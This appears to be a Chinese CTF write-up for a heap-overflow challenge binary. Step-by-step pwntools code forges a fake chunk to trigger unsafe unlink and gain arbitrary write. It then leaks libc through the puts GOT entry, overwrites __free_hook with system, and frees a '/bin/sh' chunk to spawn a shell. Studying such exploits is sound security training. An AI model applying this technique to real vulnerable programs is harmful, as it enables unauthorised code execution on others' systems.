1.构造三个chunk:
add(0x20),add(0x70),add(0x100)
chunk1,2分别用于达成unlink,chunk3用于隔离top-chunk
2.构造unlink:
首先要在chunk1的用户域构造fake_chunk,然后修改chunk1的pre_size和size的flag位,使chunk1被认为是已经释放的fake_chunk,并修改chunk2的fd,bk绕过检查
fd和bk的伪造可以通过
fd=chunk-0x18
bk=chunk-0x10
利用edit函数的堆溢出特性一次性对chunk1,2进行修改
pre_size=p64(0)
chunk_size=p64(0x20)
fd=chunk-0x18
bk=chunk-0x10
next_pre=p64(0x20)
next_size=p64(0x90)
take_note(0,pre_size+chunk_size+p64(fd)+p64(bk)+next_pre+next_size)
delete(1)
free(chunk2),此时通过pre_size检查chunk1大小,则fake_chunk被检测到,导致chunk1与fake_chunk合并
此时存在于bss上的堆管理列表buf中:(假设&buf=add)
buf[0]--->add-0x18
buf[1]--->..............
payload=p64(0)*3+p64(chunk+8)
take_note(0,payload)
经过小小的调整↑,bss上的堆管理列表buf中:
buf[0]--->add+8((QWORD*)buf+1)
buf[1]--->.........
此时达成了类似于非栈上格式化字符串的二联,三联结构,可以轻松任意地址写.
3.泄露libc,修改free_hook:
take_note(0,p64(elf.got['puts']))
show(1)
puts=u64(io.recvline()[:-1].ljust(8,b'\x00'))
offset=puts-libc.sym['puts']
success("offset: "+str(hex(offset)))
buf[0]--->add+8((QWORD*)buf+1)
buf[1]--->puts_got--->0x7f.....
system=offset+libc.sym['system']
fhook=offset+libc.sym['__free_hook']
bin_sh=offset+next(libc.search(b"/bin/sh\x00"))
payload=p64(fhook)+p64(bin_sh)
take_note(0,payload)
buf[0]--->add+8((QWORD*)buf+1)
buf[1]--->free_hook_got->free_hook
buf[2]--->bin_sh
take_note(1,p64(system))
buf[0]--->add+8((QWORD*)buf+1)
buf[1]--->free_hook_got->system_got
buf[2]--->bin_sh
4.触发free_hook:
delete(2)
io.interactive()
1177

被折叠的 条评论
为什么被折叠?



